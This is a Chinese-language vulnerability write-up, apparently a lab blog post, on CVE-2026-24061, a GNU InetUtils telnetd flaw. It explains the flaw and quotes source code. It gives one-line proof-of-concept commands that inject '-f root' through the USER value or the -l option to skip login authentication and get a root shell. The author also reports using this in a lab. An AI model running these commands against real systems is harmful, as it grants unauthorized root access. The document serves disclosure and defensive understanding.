CVE-2026-24061 是 GNU InetUtils 中 telnetd 服务的一个严重缺陷。
CVE 编号: CVE-2026-24061
严重程度: 严重 (CVSS 9.8)
攻击向量: 网络
是否需要认证: 否
影响: 系统完全沦陷(root 权限)
该漏洞源于在 Telnet 会话建立期间对 USER 环境变量的不当处理,该值被直接传递到 /usr/bin/login 的参数列表中,未经任何清理或验证,因此远程攻击者可以操纵此输入来注入命令行选项,从而有效绕过认证并立即获得 root shell。
以下来自 telnetd/utility_file.c 的代码片段展示了用户提供的值如何未经验证直接使用:
case 'h':
return xstrdup (remote_hostname);
case 'l':
return xstrdup (local_hostname);
case 'L':
return xstrdup (line);
case 't':
q = strchr (line + 1, '/');
if (q)
q++;
else
q = line;
return xstrdup (q);
case 'T':
return terminaltype ? xstrdup (terminaltype) : NULL;
case 'u':
return user_name ? xstrdup (user_name) : NULL;
case 'U':
return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");
问题:
用户可控的值 USER、terminaltype 和 line:未经验证直接使用,直接复制到内部结构中。
由于远程客户端可以通过 Telnet 协议影响这些值,这就产生了一个关键的注入点。
攻击流程:
概念验证
以下最小化概念验证展示了如何利用该漏洞:
USER='-f root' telnet -a <ipaddr>
telnet -l -'f root' ip_addr
该命令在 Telnet 握手期间注入了一个恶意的 USER 值,在易受攻击的系统上可能导致未授权的 root 访问权限。
我完成了一个涉及 CVE-2026-24061 的实验,通过使用 telnet -l '-f root' 176.16.2.153 注入恶意参数并实现认证绕过,最终在目标系统上获得 root 级别访问权限。

内部发生的情况:
1 - l: 指登录名
2 - '-f root':作为用户名传递的值(-f:不检查密码 - 跳过认证),(root:目标用户)
3 - 易受攻击的服务器未做任何清理
4 - 它将 -f 解释为一个标志,而不是用户名的一部分
这使我能够注入恶意参数,绕过认证,并在目标系统上获得 root 级别访问权限。
技术总结
该缺陷存在于 telnetd 处理 NEW_ENVIRON Telnet 选项的方式中。它允许客户端定义环境变量,这些变量被传递给系统的 /usr/bin/login 二进制文件。由于 telnetd 未能清理 USER 变量,攻击者可以注入 -f 标志(强制登录),该标志告诉 login 工具跳过密码验证并立即为指定用户(通常是 root)授予会话。